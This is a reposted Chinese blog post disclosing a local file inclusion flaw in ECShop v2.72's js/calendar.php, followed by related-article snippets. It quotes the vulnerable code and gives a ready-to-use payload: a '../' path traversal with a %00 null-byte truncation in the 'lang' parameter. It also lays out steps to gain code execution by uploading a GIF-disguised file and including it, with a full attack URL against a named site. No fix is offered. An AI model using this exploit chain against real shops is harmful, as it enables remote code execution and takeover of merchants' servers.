Ecshop最新版v.272本地包含漏洞Oday

很久前就发现了，今天发布出来吧，鸡肋的，其实很简单，就是很多人没有注意这里：

直接看代码：

“js/calendar.php”：

$lang = (!empty($_GET['lang']))
? trim($_GET['lang']) : 'zh_cn';//没有过滤，很明显的包含漏洞

if (!file_exists('../languages/' . $lang . '/calendar.php'))
{
$lang = 'zh_cn';
}

require(dirname(dirname(__FILE__)) . '/data/config.php');
header('Content-type: application/x-javascript; charset=' . EC_CHARSET);

include_once('../languages/' . $lang . '/calendar.php');//这里包含，需要截断

测试代码：

//需要 magic_quotes_gpc = Off

/js/calendar.php?lang=../index.php%00.

（注意后面有个“.”）

利用：

1、注册用户

2、然后上传GIF89a头的GIF文件欺骗，

3、然后包含，如：http://www.lpboke.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.

（注意后面有个“.”）‍

‍

Author： ℡Mr.LP

转载于:https://blog.51cto.com/obnus/477160

Ecshop最新版v.272本地包含漏洞Oday相关推荐

远程本地包含漏洞原理
inurl:index.php fees shop link.codes http://www.moneyfastonline.com/index.php?read=../../../../../.. ...
远程包含和本地包含漏洞的原理
首先,我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个 ...
cfm本地包含漏洞利用
1.读取metabase.xml/web.xml /password.properities敏感文件,得知www路径,coldfusion路径,coldfusion后台加密密码. http://www ...
骑士CMS4.1.23本地包含漏洞
0x00 在骑士CMS最新版的 index.php页面对$type 调用了display方法这里的display使用的ThinkPHP的模板展示方法参数后可直接调用安装目录下的任意文件以PHP形式 ...
php本地文件包含漏洞,本地文件包含漏洞详解---LFI
1 概述文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含.比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时 ...
php文件包含绕过,文件包含漏洞(绕过姿势) | nmask＇s Blog
谁将烟焚散,散了纵横的牵绊文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件.今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏 ...
文件包含漏洞对公司测试
主站是:www.xxxx.biz 环境:linux php nginx,伪静态的. 主站基本是没希望,不过xss很多,懒得去利用. 有公司有一个新新业务,所以开发部门建立了一个新的网站,所以我也就.. ...
【文件包含漏洞】——文件包含漏洞进阶_日志文件包含利用
文章目录一.实验目的: 二.工具: 三.实验环境: 四.原理说明: 1. 原理: 2. 利用方法: 五.日志文件相关: 1. 日志文件路径: 2. 没有`access.log`访问日志的原因: 3. ...
网安学习Day23-文件包含漏洞
目录文件包含的原理文件包含的检测方法各种脚本对应的文件包含的函数文件包含的类型本地文件包含远程文件包含文件包含漏洞的利用读取敏感文件 windows系统 Linux系统远程包含she ...

Ecshop最新版v.272本地包含漏洞Oday

Ecshop最新版v.272本地包含漏洞Oday相关推荐

最新文章

热门文章